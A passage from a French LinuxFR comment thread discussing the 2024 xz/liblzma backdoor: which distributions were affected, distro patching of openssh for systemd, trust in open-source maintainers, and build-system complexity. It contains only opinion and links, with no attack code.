Une nuance tout de même : ressouces /= finances. Sauter à la conclusion que ressources = financement = privatisation, c'est quand même une vision un peu limitée de la situation (et peut-être le signe d'une vision bourgeoise du travail* ;) ).
* : Je rappelle que travail /= emploi
[^] # Re: Le HS de la conclusion
Posté par gde . Évalué à 8.
En amalgamant ressource et finance, j'aurais plutôt dit que la vision bourgeoise c'est de croire qu'il suffit de balancer de l'argent sur un problème pour le résoudre.
Mais je suis entièrement d'accord sinon :)
[^] # Re: Le HS de la conclusion
Posté par Enzo Bricolo 🛠⚙🛠 . Évalué à 0.
"bourgeoise" : Qui manque de grandeur d'âme par souci excessif de la sécurité et de la réussite matérielles
Sinon on peut écrire en français du 21e siècle et essayer d'être compréhensible par le plus grand nombre.
[^] # Re: Le HS de la conclusion
Posté par Thomas Debesse (site web personnel) . Évalué à 2.
Je propose à la place :
(je suis déjà loin 🤪️)
ce commentaire est sous licence cc by 4 et précédentes
[^] # Re: Le HS de la conclusion
Posté par Donk . Évalué à 1.
Ou cette version :
# Ubuntu
Posté par Okki (site web personnel, Mastodon) . Évalué à 10.
Hier encore, il tentait de convaincre Ubuntu de récupérer la version vérolée, ce qui l'aurait bien arrangé, vu que la prochaine LTS doit sortir le mois prochain.
# Debian?!?
Posté par freem . Évalué à 10. Dernière modification le 30 mars 2024 à 01:33.
Euh…. non? Pas Debian stable, en tout cas, celle qui est recommandée pour les utilisateurs normaux ou les power users qui ne veulent plus se prendre trop la tête:
Donc, même si j'utilise pas systemd, et que je considère ce truc over-engineered, non, c'est faux, il n'est pas affecté, au moins dans la lib 0.
Ensuite, de toute façon:
Alors, si le sujet était Debian testing ou Debian unstable, merci de le préciser. Parce que je suis prêt à parier une tournée dans mon pub préféré que la majorité des debianneux utilisent la stable. Justement pour éviter ce genre de problèmes, en fait.
Ceci dit, merci pour l'info, ça me conforte… dans mon choix de ne pas utiliser de distro bleeding edge. Oui, je sais, c'est mal de laisser les autres essuyer les merdes :)
Ceci dit, je suis surpris que Debian ne construise pas ses paquets à partir du repo, justement, je trouve ça très surprenant, compte tenu du fait que de nombreux paquets ont leurs propres patchs, que ce soit pour dé-veroller (chromium, et plein d'autres qui téléphonnent à la maison) ou pour améliorer l'intégration.
Le lien fournit par la réponse au sujet d'Ubuntu confirme d'ailleurs mon intuition première: Debian Unstable. C'est la porte d'entrée, hein, les trucs la dedans ne sont pas considérés fiables, et cette histoire montre pourquoi, du coup.
[^] # Re: Debian?!?
Posté par Marotte ⛧ . Évalué à 10.
J’utilise Debian depuis Potato, et je l’aime d’amour. J’ai utilisé unstable pendant des années, mais depuis un peu plus de 3 ans je suis repassé sur la stable.
Alors franchement…
Je pense qu’un contributeur/utilisateur de Debian devrait s’abstenir très fort de crâner sur ce déboire de xz, en se la jouant « Nop pas ché nous ! T’as cru quoi ?! »…
La faille que l’un de ses contributeurs avait introduit dans OpenSSL (le OpenSSL distribué par Debian uniquement, oui, mais OpenSSL tout entier, toutes les clés émises quand la faille était présente étaient à jeter…). Ça fait des années maintenant… Mais ça mérite un évident devoir de mémoire , et une humilité respectueuse et compatissante envers ce qui est arrivé à xz.
[^] # Re: Debian?!?
Posté par freem . Évalué à 9.
Honnêtement, je ne voulais pas "crâner", mais juste préciser que seule unstable est touchée (le titre induit en erreur sur ce point).
Tu noteras notamment ces éléments dans mon message:
Je pensais ces éléments explicites sur le fait que je n'incendie pas l'auteur de xz, et que je ne considère pas Debian comme toute blanche pour cette vulnérabilité, j'ai manifestement manqué d'insistance.
Je plains sincèrement l'auteur de xz, qui se retrouve a nouveau seul, et en plus il est fort probable qu'il se fasse aussi attaquer indirectement, genre "bouh, t'as pas fait ton taf de vérif ce que les contribs[…]".
Je sais que Debian a son lot de problème. D'ailleurs, celui-ci en est aussi un, du moins, il semblerait que ce soit à cause de patch pour supporter systemd que sshd est compromis, et systemd dépends de xz (mais! dpkg aussi, qui est au coeur du système. Pas d'accès réseau, cela dit, mais ça reste dangereux, ce genre de trucs peut probablement avoir des conséquences non voulues (y compris par l'auteur du malware).
Non, ce n'est pas la faute de systemd (je le dis clairement, trolldi c'était hier, et si on précise pas, ça risque de partir en sucette ce type d'élément) mais: «openssh does not directly use liblzma. However debian and several other distributions patch openssh to support systemd notification, and libsystemd does depend on lzma».
Du coup, j'en déduit qu'un openssh non patché, vanilla, comme je pourrais supposer que Archlinux (bleeding edge, pour le coup) utilise (il paraît qu'ils ne patchent pas après tout?) n'est pas affectée.
Je ne sais pas si cette backdoor peut avoir d'autres points d'entrée?
[^] # Re: Debian?!?
Posté par aiolos . Évalué à 6.
Je ne suis pas du tout anti-systemd, mais on peut quand même se demander si le système de notification doit vraiment être dans le système d'init/supervision des services… Spontanément, j'aurais plus vu ça sur le bus système (D-bus). Alors je sais que D-bus est maintenu au sein de systemd et je ne sais pas comment s'articulent le ou les librairies systemd et dbus. Mais, tout de même, je ne suis pas sûr qu'il soit très pertinent d'exiger toute la lib systemd pour accéder à D-bus, si c'est le cas.
[^] # Re: Debian?!?
Posté par Renault (site web personnel) . Évalué à 9.
Pour information, Lennart explique bien que le protocole de notification est trivial pour justement être géré à la main plutôt que de dépendre de libsystemd pour juste cette fonction : https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/message/VIC24J7M46BW2QSQDXBNGNUS4QXH4ZBB/
Donc en gros c'est le choix de xz ici d'avoir privilégié une dépendance en plus pour si peu plutôt que de "refaire à la main".
[^] # Re: Debian?!?
Posté par Pol' uX (site web personnel) . Évalué à 3.
Tu veux dire le choix de
ssh?Adhérer à l'April, ça vous tente ?
[^] # Re: Debian?!?
Posté par jben . Évalué à 2.
Je dirais plutôt le choix des mainteneurs de distribs de patcher openssh (je ne critique pas le choix, j'explique ce que j'ai compris). Par exemple pour débiane (je suis un français (c'est à dire chauvin), je prononce et j'écris à la française), ça semble être ça.
[^] # Re: Debian?!?
Posté par aiolos . Évalué à 2.
Merci pour le lien, je comprends mieux de quoi on parle concernant les notifications…
[^] # Re: Debian?!?
Posté par barmic 🦦 . Évalué à 4.
Je me permet de citer le dernier paragraphe
C'est probablement plus de travail pour les mainteneurs de l'implémenter queue d'avoir ajouter le lien. Les 2 explications que j'imagine sur pourquoi ça n'est pas fait c'est :
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Debian?!?
Posté par Pol' uX (site web personnel) . Évalué à 5.
Et quand on regarde le code impliqué on peut relativiser le sens de just sending…
Personnellement j'ai plutôt l'impression que le mainteneur a fait ce qui devait être fait, en prenant des garanties sur les évolutions futures avec un minimum de potentiels problèmes à gérer (excepté l'élargissement de la surface d'attaque du démon).
Adhérer à l'April, ça vous tente ?
[^] # Re: Debian?!?
Posté par Ytterbium . Évalué à 10.
Oui, seulement les Debian des tests et openSUSE Tumbleweed ont été impactées, à ma connaissance. J'aurais effectivement dû le préciser.
Mais il ne faut pas se croire à l'abri derrière une distribution stable. Si l'attaque n'avait pas causé de ralentissement notables d'openssh, elle serait passée comme une lettre à la poste et aurait tranquillement fini son chemin dans Debian Stable et dans RHEL.
Et là ça aurait été une belle catastrophe.
[^] # Re: Debian?!?
Posté par freem . Évalué à 3.
Ce qui veut bien dire que je suis content que certains le fassent. Si personne ne le faisait, cette backdoor aurait pu avoir des conséquences dramatiques.
# La porte de le derrière
Posté par Marotte ⛧ . Évalué à 10.
Je trouve que renoncer à toute la confiance qu’on a pu établir avec un projet, avec ces développeurs/mainteneurs, précisément lors d’un coup dur de ce type, c’est le comble de la bêtise. La confiance est un bien si précieux que s’en défaire doit toujours se faire avec une absolue précaution.
Quelle ont été les conséquences dommageables effectives de cette faille ?
Comment le mainteneur de l’outil réagit ? La trahisons dont il a été victime semble-t-elle représenter un coup dur pour lui, qui s’applique à faire bien les choses ? Ou bien cet évènement se produit-il suite à ce qu’il ait ignoré de nombreux avertissements des autres développeur ?
Quelles actions a-t-il initiées suite à cet accident ?
Tu penses que des portes dérobées comme celle que tu viens de décrire dans ce journal, on peut en ranger combien en même temps dans un logiciel comme xz ?
J’ai plus confiance dans une équipe qui a dû faire face à une menace qui s’est matérialisée et qui a su rester debout et capitaliser sur cette expérience négative, que dans une équipe qui se vante d’être tellement organisée et parfaitement financée qu’elle s permet d’assurer ses utilisateurs qu’une telle faille ne pourrait jamais, au grand jamais, arriver chez eux…
[^] # Re: La porte de le derrière
Posté par abriotde (site web personnel, Mastodon) . Évalué à 10.
Je pense que le fait que la faille n'ai pas survécu u mois montre la grande efficacité de l'open-source. Si Lzma avait été privé jamais MariaDB n'aurait pu investiguer sur ces lecteurs et côté Lzma avant que la remontée sit prise au sérieux et ne tombe pas sur l'employé corrompu…
Sous licence Creative common. Lisez, copiez, modifiez faites en ce que vous voulez.
[^] # Re: La porte de le derrière
Posté par seveso . Évalué à 10.
Bof. Dans le cas présent, ce qui nous a sauvé, c'est plutôt le fait que la faille, aussi sophistiquée soit-elle, était encore trop visible en détériorant de façon notable les performances de ssh. Sans ça, elle serait probablement passée comme une lettre à la poste.
[^] # Re: La porte de le derrière
Posté par freem . Évalué à 7.
Certes, mais l'analyse me semble évidemment largement facilitée de par cette propriété du logiciel libre: code source disponible (je sais que des logiciels non libres ont aussi cette propriété, mais ce n'est pas trop la norme des logiciels non libres faits par Apple ou Microsoft, et ici, on parle bien d'OS).
[^] # Re: La porte de le derrière
Posté par freem . Évalué à 10.
Très clairement. Perso, j'ai toujours confiance, et je ne compte pas patcher mon système pour supprimer cet outil extrêmement utile.
L'auteur n'y es pour rien, maintenir seul un outil critique bourré de crypto et de maths ne doit pas être simple, l'erreur est humaine, et se faire arnaquer peut arriver à tout le monde.
Je n'accepterais d'envisager l'idée qu'il est a tort que s'il est effectivement payé pour son travail sur xz, et ce, sur son temps professionnel. Et encore… ici, il n'est pas l'auteur de la faille, qui n'est d'ailleurs apparemment pas arrivé dans l'historique du code. Je ne vois vraiment pas comment lui en vouloir.
Il serait plus justifié d'en vouloir aux distributions qui ont empaqueté un blob de sources sans vérifier que le blob proviens bien du référentiel commun. Pour moi, c'est de ce côté que la sécurité est à améliorer au vu de ce que j'ai lu de cette faille.
Et ça serait, ici aussi, plutôt malvenu, parce qu'encore une fois, au moins dans le cas de Debian (et bien d'autres distros), ce travail est fourni gratuitement, c'est un service au monde, un coup de main.
Que celui qui n'a jamais merdé lance la première pierre.
[^] # Re: La porte de le derrière
Posté par Colin Pitrat (site web personnel) . Évalué à 3.
La rupture de confiance est plutôt due au fait qu'un contribiteur malhonnête a peut-être [1] introduit plusieurs backdoors sur les 2 dernières années. Un audit [2] de yout son travail permettrai de rétablir cette confiance.
[1] probablement vu l'insistance régulière à upgradrer? À moins que ce soit juste pour habituer les distros en prévision de l'introduction de cette faille?)
[2] plus facile à posteriori où chaque détail pas clair paraîtra beaucoup plus suspicieux, même si se taper la vérification des fichiers de tests ne sera pas une sinécure, à part pour ceux qui sont inutilisés
# suivi du sujet et analyses
Posté par Benoît Sibaud (site web personnel) . Évalué à 10.
https://boehs.org/node/everything-i-know-about-the-xz-backdoor
https://lcamtuf.substack.com/p/technologist-vs-spy-the-xz-backdoor
[^] # Re: suivi du sujet et analyses
Posté par Marc Quinton . Évalué à 5.
ici encore : https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
[^] # Re: suivi du sujet et analyses
Posté par Marc Quinton . Évalué à 3. Dernière modification le 31 mars 2024 à 06:44.
en voici un autre :
- https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl/post/3kowjkx2njy2b
[^] # Re: suivi du sujet et analyses
Posté par Marc Quinton . Évalué à 2.
encore un autre ; une sorte de honeypot avec des infos qui remontent dans les logs : https://github.com/amlweems/xzbot
[^] # Re: suivi du sujet et analyses
Posté par Marc Quinton . Évalué à 3.
nouveau lien avec de façon très détaillée, tout l'historique des commits et échanges par ML : chronologie de l'attaque contre le logiciel libre XZ.
[^] # Re: suivi du sujet et analyses
Posté par Marc Quinton . Évalué à 3. Dernière modification le 03 avril 2024 à 14:44.
mais qui est Jia Tan
je cite :
[…]
Mais qui est donc ce Jia Cheong Tan ? Sans surprise, nombreux ont été ceux qui ont enquêté sur cette personne depuis la découverte. Les trois parties de son nom affiché sont certes chinoises, mais toutes sont originaires de régions et de langages différents du pays. Il semble donc probable que quelqu'un ait simplement mixé des noms chinois pour donner le change. La piste du hacker isolé paraît également peu crédible au vu du temps et des ressources investies, ou même des capacités d'exploitation d'une faille aussi massive. Un service de renseignements, un puissant groupe de hackers, voire carrément un État sont donc des suspects plus probables…"
[^] # Re: suivi du sujet et analyses
Posté par jben . Évalué à 1.
Mouais, mais il faut aussi lire le reste de l'article… J'ai l'impression que l'auteur n'a rien compris du tout au problème. (Ça pourrait être de la vulga, et pour faire de la vulga, il faut assumer d'être techniquement incorrect, mais là, ce n'est même pas de la vulga, pour plagier Me Eolas, je ne me torcherais pas avec de peur de salir mon caca.)
Si j'étalonne mon confiance-mètre sur ce que je connais, et que j'en déduis la confiance à accorder à cet article, l'aiguille reste aimantée au zéro.
# Confiance
Posté par barmic 🦦 . Évalué à 10.
La question n'est pas de savoir s'ils ont eu ou non une faille, mais de comment le projet se comporte et je ne vois pas d'erreur. Ils vont en plus réaliser un audit.
Je ne vois pas ce qui me permet de leur faire moins confiance qu'un projet dans le quel je ne sais pas.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Confiance
Posté par Laurent Pointecouteau (site web personnel, Mastodon) . Évalué à 1.
Oui voilà, dans ce contexte la question serait plutôt : comment continuer à faire confiance à l'intégralité de l'ecosystème opensource ?
[^] # Re: Confiance
Posté par Moonz . Évalué à 7.
En quoi le propriétaire est mieux logé à cette enseigne ?
[^] # Re: Confiance
Posté par Laurent Pointecouteau (site web personnel, Mastodon) . Évalué à 5.
Je ne sais pas s'il est "mieux logé" en l'occurence, mais dans le monde opensource, des briques essentielles maintenues par des acteurs vulnérables, c'est quelque chose d'endémique. Pour une seule backdoor détectée dans xz, combien de projets pourraient être compromis depuis des années ?
[^] # Re: Confiance
Posté par barmic 🦦 . Évalué à 9.
Et combien de codes propriétaires sont compromis depuis des années ?
Je suis d'accord que ce n'est pas parce que du code est public qu'il est revu ou audité, mais l'inverse n'est pas vrai pour autant.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Confiance
Posté par Laurent Pointecouteau (site web personnel, Mastodon) . Évalué à 4.
C'est tout à fait vrai, dans le proprio on ne peut tout simplement pas savoir. Mais je me dis que le risque qu'un acteur puissant (un État par exemple) puisse ainsi prendre pour cible un individu isolé, et le projet dont il a la responsabilité et dont dépendent des milliards de machines, est peut-être grandement sous-estimé.
[^] # Re: Confiance
Posté par Moonz . Évalué à 9. Dernière modification le 30 mars 2024 à 15:44.
https://www.theverge.com/2013/12/20/5231006/nsa-paid-10-million-for-a-back-door-into-rsa-encryption-according-to
Rappelons que pour faire cette backdoor, la personne a du contribuer de manière légitime pendant deux ans pour gagner la confiance du mainteneur. Je ne suis vraiment pas certain que ce soit significativement plus compliqué que de faire un chèque de 10 millions.
[^] # Re: Confiance
Posté par NYC . Évalué à 10.
Rien ne prouve que c’était prémédité. Il a pu être approché, corrompu ou victime de chantage.
La dernière hypothèse oblige a rester prudent sur les accusations qui pourraient être formulées.
Pour le reste, les cibles ont surtout été choisies pour leur omniprésence dans le monde informatique (un algo de compression, tout ce qui a de plus banal, des distributions reconnues dans le monde professionnel). Beaucoup de monde tire des conclusions hâtives, sur la faiblesse supposée du libre, sur quelques pratiques (certes discutables et améliorables), alors que c’est avant tout l’omniprésence du logiciel ciblé qui décuple la capacité de nuisance d’un contributeur malveillant et c’est clairement la stratégie de l’attaque en question. Mais le fait est que 1/ l’attaque a été découverte et signalée suffisamment rapidement pour ne pas impacter toute production sérieuse (le reste n’est que spéculation et hypothèses hasardeuses), 2/ si vous saviez ce qu’il en est dans le privé, dans le monde de l’entreprise… pour avoir travaillé dans un grand groupe français, pour avoir signalé de gros problèmes de sécurité, et avoir vu la hiérarchie gentiment détourner les yeux pour pas trop faire de vagues…
[^] # Re: Confiance
Posté par Laurent Pointecouteau (site web personnel, Mastodon) . Évalué à 6.
Ah, moi j'avais compris que c'était totalement prémédité, au contraire. Les tout premiers commits du compte GitHub en 2021 étaient déjà suspicieux.
[^] # Re: Confiance
Posté par Psychofox (Mastodon) . Évalué à 10.
s/suspicieux/suspect/
Celui qui est suspicieux,c'est celui qui observe la chose suspecte.
[^] # Re: Confiance
Posté par BAud (site web personnel) . Évalué à 10. Dernière modification le 30 mars 2024 à 16:03.
c'est clair que les firmwares proprios des puces GSM/GPS de nos smartphones, les BIOS et UEFI priopros de nos PC/portables sont plus à l'abri !
(spa comme s'il y avait des backdoors dans certains CPU… euh wait !)
spa parce que tu n'es pas parano, qu'ils ne sont pas après toi /o\
[^] # Re: Confiance
Posté par freem . Évalué à 5. Dernière modification le 30 mars 2024 à 14:13.
Bon, alors parlons de microsoft, et d'active directory. Il suffit de lire misc magazine, même avec une faible fréquence, pour comprendre que ce truc ressemble quand même vachement à un sacré gruyère.
Et pourtant, MS est l'un des acteurs majeurs du non-libre, et AD un de ses éléments phares…
Je ne connais pas grand chose a ce sujet, mais très clairement, des quelques misc que j'ai, un ratio assez élevé mentionne AD, et ça exclue les titres que je n'ai pas achetés mais dont j'ai feuilleté les pages (quand je ne suis pas capable de comprendre assez d'articles, je n'achète pas :))
[^] # Re: Confiance
Posté par Misc (site web personnel) . Évalué à 4.
Mais dans le cas de AD, c'est sans doute juste la complexité organisationnel des entreprises qui se retrouvent dans le fouillis de l'annuaire. C'est rien de nouveau, ni rien d'étonnant, et je ne pense pas qu'on puisse blâmer que Microsoft pour ça. Quand pour des raisons X ou Y, tu te retrouves avec 250 filiales, des gens qui bougent entre elles, etc, forcément, ça devient un peu le bordel.
[^] # Re: Confiance
Posté par freem . Évalué à 3.
Je ne suis pas d'accord, parce que justement AD est un élément phare, il y a des gens payés pour le maintenir, et, j'ose espérer, une infrastructure de test.
Certes, il y a un côté historique… sauf que non, mauvaise excuse, MS était déjà riche lors de la création: «Active Directory fut présenté pour la première fois en 1996, mais sa première utilisation remonte à Windows 2000 Server Édition en 1999. » source: https://fr.wikipedia.org/wiki/Active_Directory
AD est composé de kerberos de mémoire, donc oui ils sont au courant que la sécu c'est important.
Vu les moyens a dispo, non, pas trop d'excuse.
Mais bon, on peut parler d'apple et du goto-fail… cette faille est la plus honteuse dont j'aie entendu parler, et pourtant, je ne crois pas que la confiance envers apple ait été rompue? (alors que franchement! Les compilos détectent ça depuis perpette, et le très peu que je connais de MISRA spécifie quand même bien que, bon, on va éviter hein, les "if" sans blocs… pour cette raison.)
Bref, pour moi, ce n'est pas lié a la licence, tous ces problèmes. Et, encore une fois, il semble qu'ici la faille ne soit jamais entrée dans le repo git, donc la faille n'est pas technique, mais humaine, et du côté des distros qui ont accepté une tarball, pas du côté de l'auteur.
Alors que les failles de sécu d'AD ou du TLS d'apple, c'est bien rentré dans leurs repos, à priori.
[^] # Re: Confiance
Posté par Psychofox (Mastodon) . Évalué à 8. Dernière modification le 30 mars 2024 à 23:19.
Rien ne permet de penser qu'il y ait moins d'acteurs malveillants dans le monde du proprio.
C'est complètement orthogonal.
[^] # Re: Confiance
Posté par Ytterbium . Évalué à 4.
Oui, ce que je voulais dire, c'est que la confiance envers le code de xz est pour l'instant limitée, dans l'ignorance de ce qu'un acteur malveillant a pu faire d'autre pendant ce temps.
La confiance envers le mainteneur historique est à priori encore un peu présente, mais il faudra qu'il donne des explications, même si il a sûrement eu affaire à une belle opération d’ingénierie sociale (des comptes sortis de nulle part qui le pousse à ajouter un autre contributeur au moment où l'attaquant commence à ajouter régulièrement des patchs…)
# Combo glibc/systemd
Posté par Pierre Tramal (site web personnel) . Évalué à 5. Dernière modification le 30 mars 2024 à 14:04.
Histoire de troller un peu, le payload tel qu'il est connu nécessite pour s'exécuter:
Bizarrement mon dropbear lié avec musl et un init raisonnable n'est pas touché par le problème, même avec une libxz backdoorée.
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 6.
Mais lzma est aussi utilisé pour les gestionnaires de paquets. Si le souci n'avait pas été sur ssh, une attaque valable aurait pu être faite sur dpkg et rpm, des outils qui 1) exécute du code venu de dehors 2) en root.
[^] # Re: Combo glibc/systemd
Posté par barmic 🦦 . Évalué à 4.
Dans le cas général, il faut pour ça avoir compromis un dépôt et t'être débrouillé pour signer des paquets. Sauf que si tu a fais ça, tu n'a plus besoin de xz pour faire ce que tu veux des machines ciblées.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 3.
Perso, j'avais plus en tête les compromissions des paquets de distros, qui sont signés par les distros, donc c'est un peu plus compliqué que "compromettre un dépôt et signer". Par exemple, sur Fedora, la clé de signature est dans un HSM.
Mon cas, c'est celui d'un attaquant capable de faire un MITM et qui va attendre la mise à jour de la cible, puis rajouter son paquet avec une signature qui marche tout le temps, vu que lzma a backdooré le processus de signature pour dire "ça roule ma poule" (ou directement exécuter du code qui vient depuis le fichier lzma).
[^] # Re: Combo glibc/systemd
Posté par nud . Évalué à 2.
Et par selinux.
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 3.
pas sur ma Fedora Silverblue (sauf si je m'y prends mal):
$ rpm -e --test xz-libs-5.4.4-1.fc39.x86_64 2>&1 | grep -i seli$
Par contre, c'est utilisé par libxml2, donc techniquement, n'importe quoi qui parse du XML serait accessible à la backdoor.
[^] # Re: Combo glibc/systemd
Posté par Pierre Tramal (site web personnel) . Évalué à 3.
Le gestionnaire de paquets il écoute sur le réseau ?
[^] # Re: Combo glibc/systemd
Posté par barmic 🦦 . Évalué à 10.
Histoire d'ajouter mon troll à l'édifice le système de build complexe n'y est pas pour rien et a rendu possible la compromission et difficile l'analyse. Garder un build aussi simple que possible me paraît être encore plus une bonne idée.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 9.
Mais autoconf est complexe parce que ça supporte des tonnes d'OS obscure, et un des reproches fait à systemd, c'était justement de ne pas tout supporter, donc faudrait savoir :p
[^] # Re: Combo glibc/systemd
Posté par devnewton 🍺 (site web personnel) . Évalué à 2.
On peut gérer tout un tas d'OS avec un système de build simple comme heu… Maven?
Le post ci-dessus est une grosse connerie, ne le lisez pas sérieusement.
[^] # Re: Combo glibc/systemd
Posté par barmic 🦦 . Évalué à 4.
Autoconf n'est pas complexe parce qu'il veut gérer pleins de choses, mais parce qu'il ne veut pas prendre de décision. Les outils opiniated sont drastiquement plus simples (et peuvent avoir la souplesse pour gérer tout ce dont on a besoin). Avoir 25 langages turing-complet dans son build c'est avoir une complexité démentielle (et énormément de moyens d'ajouter des failles comme on le voit ici).
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 5.
Je blamerais pas le fait d'avoir 25 langages, mais plus d'avoir du partir sur le shell comme socle commun (et un shell portable sur X OS différents, comprendre, un peu dégeu). Au final, y a que un DSL basé sur m4 et le shell, non ?
Comme tout le monde, je fait du shell de façon régulière, mais faut quand même reconnaître que ça devient assez vite cryptique et qu'on a pas trop le choix (au contraire de perl, où on peut faire cryptique, mais où on peut aussi éviter ça).
[^] # Re: Combo glibc/systemd
Posté par barmic 🦦 . Évalué à 3.
Pour moi tu as besoin que chaque brique ai une vocation spécifique de la quelle elle ne peut pas sortir. Ça réduit considérablement ton scope et rend l'analyse bien plus simple.
Avoir un fonctionnement déclaratif est parfait pour ça. Je suis intimement convaincu que l'énorme majorité des projets pourraient utiliser un paradigme déclaratif pour leur buil, mais soit n'ont pas le bon état d'esprit soit ont une forme d'ego pensent que leur projet a une spécificité.
On gagne aussi beaucoup de temps à ne pas reconstruire tout à chaque projet.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 4.
Le souci, c'est que compiler un logiciel, c'est fondamentalement de l’exécution d'un script qui lance des commandes. Tu devoir lancer des commandes arbitraires pour divers étapes, donc il y a toujours un risque que ça soit un peu open bar.
Je suis d'accord qu'on peut faire mieux, mais tu as le risque de multiplier les DSL si tu limites trop, ce qui est déjà aussi un probléme, on a un DSL pour le Makefile, un DSL pour générer le fichier configure, basé sur un autre DSL via M4, le tout qui produit un script avec des idiomes spécifique pour être portable.
Et encore une fois, il faut voir comment il y a eu une levée de bouclier quand on est passé d'un mode script (sysVinit) à un mode déclaratif (systemd) pour l'init, avec des gens défendant l'écriture de shell scripts. Je suis assez pro-systemd et pro-déclaratif, mais je ne pense pas que la dite levée de bouclier était une question d'ego ou d'état d'esprit. C'est pareil pour les gestionnaires de paquets pour distro, sauf erreur de ma part, y en a aucun qui n'a de possibilité de faire des scripts.
Et un dernier souci, c'est à mon avis la difficulté à imposer une norme dans certaines écosystèmes comme le C. C'est en effet bien mieux dans Rust ou Go, mais même la, tu as des échappatoires comme le build.rs (et rien en Go, que je sache).
[^] # Re: Combo glibc/systemd
Posté par barmic 🦦 . Évalué à 2.
Je ne le crois pas. La majorité des projets sont globalement la même chose, je ne crois pas qu'il soit nécessaire de lancer doom dans son système de build. Réinventer un build pour chaque bibliothèque est un échec d'ingénieure.
Multiplier les DSL n'est pas fondamentalement problématique à mon humble avis. S'ils restent simples ça n'est pas un coût si important. Là M4 est capable de muter le système de build.
Je n'en ai pas la preuve, mais j'en suis convaincu. Une standardisation du build (comme on peut le voir avec maven qui décrit l'arborescence d'un projet, les étapes d'un build, etc) est souvent mal vu parce que ça fait 50 ans qu'il y a des dizaines/centaines de manières de faire qui perdurent de génération en génération. L'intérêt de cette standardisation n'est pas perçu par des développeurs qui ont l'habitude de faire leur petits tricks pour ajouter tel cache ou faire de la précompilation des en-têtes, alors que c'est vécu comme un affront de faire autrement (pour un choix qui n'est pas fondamentalement mieux qui est juste une règle).
C'est vrai, je ne sais pas à quel point c'est utilisé dans debian, la plupart des paquets ne devraient pas en avoir besoin du tout (dès maintenant) et pour les autres cartographier les cas (ajout de modules dans le noyau, ajout d'une police,…) pourrait réduire à peau de chagrin les cas où c'est utile.
Tout à fait et "convention over configuration" ça n'a pas infusé partout malheureusement.
Après chacun fais bien ce qu'il veut, mais j'évite autant que possible de complexifier le build.
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 3.
La majorité, oui, mais je pense que tôt ou tard, tu va tomber sur un cas non géré, et la question de comment gérer ça se pose. Par exemple, si tu veux rajouter le support d'un nouvel outil pour transformer la doc. À partir de la, soit tu as tout dans le core de ton outil (et ça explose de complexité), soit tu as des plugins. Et si tu as des plugins, alors tu ouvres la porte à des dérives (comme tu dit, M4 peut muter le systeme de build, mais c'est le but, sinon ton systéme de build est figé et ça pose d'autres soucis).
Bien sur, tu peux aussi dire merde, mais en général, tu n'es pas populaire quand tu fait ça.
Je pense qu'un bon DSL serait mieux que du shell a tout bout de champ, mais on a des tonnes d'outils de build dans le logiciel libre, et on tombe toujours dans les mêmes travers, donc peut être qu'il faut se demander pourquoi.
Debian ne me parait pas le bon exemple, vu que la communauté à tendance à parfois chercher à corriger des fichiers de configs, etc. Sur un serveur que j'ai depuis longtemps, je compte 716 scripts:
Je sais que des gens de Fedora ont bossé pour convertir beaucoup de script à des trucs automatiques (les fameux file triggers), pour par exemple lancer ldconfig quand tu installes une lib, faire ce qu'il faut avec systemd quand tu installes un service, etc.
Et je pense que dpkg supporte ça aussi, mais j'ai plus fait de paquet rpm et debian depuis longtemps.
Et aussi longtemps qu'on voudra avoir des upgrades de paquets sans perte de données, on va devoir utiliser des scripts (exemple, upgrade de postgresql).
Ensuite, si un jour, on veut passer à des déploiements via des images ostree et/ou des conteneurs, il va bien falloir se débarrasser des scripts en question, car ça ne rentre pas dans le workflow.
[^] # Re: Combo glibc/systemd
Posté par devnewton 🍺 (site web personnel) . Évalué à 5.
On peut surtout se demander pourquoi les builds de projets simples sont aussi compliqués.
xz c'est juste un outil de compression. Pourquoi ça a besoin :
Le post ci-dessus est une grosse connerie, ne le lisez pas sérieusement.
[^] # Re: Combo glibc/systemd
Posté par Misc (site web personnel) . Évalué à 4.
Sans doute parce que les projets ne sont pas aussi simples que tu semble le postuler. XZ est une lib, une CLI, des tests, une codebase qui a plusieurs parties en assembleur sur divers plateformes matériel, avec une version spécifique pour l'embarqué.
C'est pas exactement un lib avec uniquement 2 fonctions.
maintenant, comme l'a dit Linus, talk is cheap, donc je suis sur que xz attends tes patchs pour montrer comment faire mieux.
[^] # Re: Combo glibc/systemd
Posté par Renault (site web personnel) . Évalué à 4.
Car bizarrement les systèmes de builds des distros, systèmes embarqués et autres composants sont variés, diversifier les prises en charge permet de s'assurer une bonne compatibilité d'intégration tout en ayant une compatibilité ascendante avec les projets utilisant des outils plus anciens.
C'est un choix qui se défend même si un jour se passer de autotools pourrait être la solution.
m4 est nécessaire avec autotools. Malheureusement.
Il n'y a pas que les tests unitaires dans la vie et utiliser des scripts pour ça n'a rien de sale même si avoir une intégration avec le code comme on peut le faire avec gtest en C++ est appréciable.
Bref, c'est plus compliqué que tu ne sembles le penser. Après on peut souhaiter un nettoyage pour supprimer les vieux bouts mais bon ne sous estime pas la capacité des utilisateurs à râler car on a supprimé leur prise en charge de leur vieillerie aussi et qu'on accuserait vite d'être de "l'obsolescence programmée".
[^] # Re: Combo glibc/systemd
Posté par freem . Évalué à 5.
